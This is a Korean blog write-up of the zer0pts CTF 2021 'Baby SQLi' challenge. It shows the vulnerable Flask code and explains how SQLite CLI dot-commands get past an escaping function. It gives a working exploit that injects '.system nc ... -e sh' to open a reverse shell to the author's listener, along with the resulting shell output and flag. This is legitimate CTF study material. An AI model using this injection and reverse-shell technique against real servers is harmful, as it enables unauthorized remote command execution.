본문 바로가기

웹/CTF study & write up

ctf study #9

ctf 웹 문제를 분석하거나 풀어보면서 공부하는 스터디 글입니다.

 

1. CTF 문제

zer0pts CTF 2021의 Baby SQLi를 분석했습니다. 라업은 아래의 라업을 참고했습니다.

github.com/qxxxb/ctf/tree/master/2021/zer0pts_ctf/baby_sqli

 

qxxxb/ctf

My CTF write-ups. Contribute to qxxxb/ctf development by creating an account on GitHub.

github.com

2. 취약점 목록

1. reverse shell

2. sqli injection

3. 분석

라업에서 제공하는 문제 페이지에 접속하면 이런 로그인 화면을 볼 수 있습니다. 아래에 링크를 남겨두겠지만, 나중에 서버를 닫힐것을 대비해서 사진도 함께 첨부했습니다.

 

문제에서 제공된(아마?) 플라스크 파일이 있는 것 같고 한 번 살펴보도록 하겠습니다.

import flask
import os
import re
import hashlib
import subprocess

app = flask.Flask(__name__)
app.secret_key = os.urandom(32)

def sqlite3_query(sql):
    p = subprocess.Popen(['sqlite3', 'database.db'],
                         stdin=subprocess.PIPE,
                         stdout=subprocess.PIPE,
                         stderr=subprocess.PIPE)
    o, e = p.communicate(sql.encode())
    if e:
        raise Exception(e)
    result = []
    for row in o.decode().split('\n'):
        if row == '': break
        result.append(tuple(row.split('|')))
    return result

def sqlite3_escape(s):
    return re.sub(r'([^_\.\sa-zA-Z0-9])', r'\\\1', s)

@app.route('/')
def home():
    msg = ''
    if 'msg' in flask.session:
        msg = flask.session['msg']
        del flask.session['msg']
    if 'name' in flask.session:
        return flask.render_template('index.html', name=flask.session['name'])
    else:
        return flask.render_template('login.html', msg=msg)

@app.route('/login', methods=['post'])
def auth():
    username = flask.request.form.get('username', default='', type=str)
    password = flask.request.form.get('password', default='', type=str)
    if len(username) > 32 or len(password) > 32:
        flask.session['msg'] = 'Too long username or password'
        return flask.redirect(flask.url_for('home'))

    password_hash = hashlib.sha256(password.encode()).hexdigest()
    result = None
    try:
        result = sqlite3_query(
            'SELECT * FROM users WHERE username="{}" AND password="{}";'
            .format(sqlite3_escape(username), password_hash)
        )
    except:
        pass

    if result:
        flask.session['name'] = username
    else:
        flask.session['msg'] = 'Invalid Credential'
    return flask.redirect(flask.url_for('home'))

if __name__ == '__main__':
    app.run(
        host='0.0.0.0',
        port=8888,
        debug=False,
        threaded=True
    )

현재 db는 sqlite를 사용하고 있는 것 같습니다. 그러면 함수를 하나씩 분석해보겠습니다.

 

먼저 sqlite3_escape() 함수는 영어 소,대문자, 숫자 0~9까지의 문자가 있을 경우에 가장 마지막에 역슬래시('\')를 추가해주는 함수입니다. 이 경우는 정규표현식으로 표현되어 있습니다.

 

여기서 이제 SQLite의 문법에서 문제가 발생합니다. 아래의 결과를 보고 이해한 바로는 각 문에 백슬래시가 추가될 경우 알 수 없는 문자라고 인식하며 db에서 쿼리문을 인식하지 못하는 것을 알 수 있습니다.

sqlite> SELECT "I ""like"" beans";
I "like" beans
sqlite> SELECT "I \"like\" beans";
Error: unrecognized token: "\"

 

그리고 항상 참이 되는 쿼리문을 파이썬 코드로 작성하여 요청을 보낸 결과입니다.

import requests

url = "http://localhost:8004"
username = '" OR ""='
assert len(username) <= 32
data = {"username": username, "password": "hi"}
res = requests.post(f"{url}/login", data)
print(res.text)
SELECT * FROM users WHERE username="\" OR \"\"\=" AND password="8f434346648f6b96df89dda901c5176b10a6d83961dd3c1ac88b59b2dc327aa4";

Error: near line 1: unrecognized token: "\\"\n

역시 정상적으로 작동하지 않는 것 같습니다.

 

여기서 방법은 소스코드에서 아래부분을 확인한 것이었습니다.

p = subprocess.Popen(['sqlite3', 'database.db'],
             		stdin=subprocess.PIPE,
                    stdout=subprocess.PIPE,
                    stderr=subprocess.PIPE)

이 부분에서 stdin, stdout, stderr등을 사용할 때 command line shell 방식으로 sqlite3의 모듈을 사용하기 때문에 .dump, .print 함수가 사용가능하고 system함수 또한 사용이 가능합니다. 그래서 실제로 작동하는지 확인하였더니 정상적으로 작동하는 것을 알 수 있습니다.

그리고 한 가지 더 짚고 넘어가야할 점은 stderr에 포함된 항목이 있을 경우 로그인 되지 않기 때문에 이 부분을 우회하기 위한 방법은 reverse shell을 이용하는 방법입니다. 리버스 쉘은 간단히 설명하면 원래 공격자가 서버에 접속해야 하는데, 그 반대로 서버측에서 공격자 측으로 연결을 요청하여 정보를 받는 것입니다. 이렇게 하는 이유는 주로 보안 정책이나 방법이 서버로 들어오는 경우만 설정되어 있는 경우가 많기 때문에 서버로 들어가는 것이 아닌 서버에서 나오는 정보를 받기 위해 이러한 방법으로 연결합니다. 자세한 내용이 적혀있는 블로그를 참조해서 공부해고 아래에 링크를 남겨두겠습니다.

m.blog.naver.com/pbl0603/221793443646

 

리버스쉘(Reverse) 바인드쉘(Bind) 커맨드쉘(Command) Shell 획득 넷캣(NetCat) 사용법

​​일반적으로 모의해킹 시 접속을 시도하는 방향에 따라리버스쉘과 바인드쉘로 나뉩니다.​바인드쉘은​...

blog.naver.com

라업에서는 아래의 코드를 사용했습니다.

그리고 여기서 길이 제한 때문에 ip주소를 decimal format에 따라 바꿔주었습니다.

4. 전체 익스코드 분석

import requests

url = "http://web.ctf.zer0pts.com:8004"
username = '";\n.system nc 574827230 1 -e sh\n'
assert len(username) <= 32
data = {"username": username, "password": "hi"}
res = requests.post(f"{url}/login", data)
print(res.text)

최종 익스코드입니다. 위에서 설명한 것처럼 system함수를 통해서 원하는 ip에 접속하되 stderr에 걸리는 부분이 있기 때문에 리버스 쉘로 연결해준 모습입니다. 연결하게 되면 아래처럼 플래그가 포함되어 있는 소스코드(?)를 얻을 수 있습니다.

plushie@instance-1:~$ sudo -s
root@instance-1:/home/plushie# nc -lvnp 1
listening on [any] 1 ...
connect to [10.128.0.2] from (UNKNOWN) [165.227.180.221] 45301
ls
database.db
server.py
templates
cat templates/index.html
<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <title>Welcome</title>
    </head>

    <body>
        <h1>Welcome, {{name}}!</h1>
        {% if name == 'admin' %}
        <p>zer0pts{w0w_d1d_u_cr4ck_SHA256_0f_my_p4$$w0rd?}</p>
        {% else %}
        <p>No flag for you :(</p>
        {% endif %}
    </body>
</html>

5. 리뷰

이 문제의 점수는 4.5점 정도입니다. 일단 mysql이 아닌 db 문제를 오랜만에 풀기도 하였고, 해당 db의 쿼리문의 새로운 특성을 공부할 수 있었습니다. 그리고 리버스 쉘을 이용해서 연결한다는 점이 독특한 문제였습니다. 예전에 포너블 스터디를 할 때 리버스쉘에 대해서 간단히 공부한 적이 있는데 이 문제를 공부하면서 다시 한 번 찾아보고 정리할 수 있는 기회가 되었습니다. 하지만 문제가 여기서 더 들어가지 않고 우회하여 서버와 연결하면 되는 문제이기 때문에 점수는 높게 주지 않았습니다.

' > CTF study & write up' 카테고리의 다른 글

ctf study #8  (0) 2021.03.08
ctf study #7  (0) 2021.02.24
ctf study #6  (0) 2021.02.24
ctf study #5  (0) 2021.02.17
ctf study #4  (0) 2021.02.15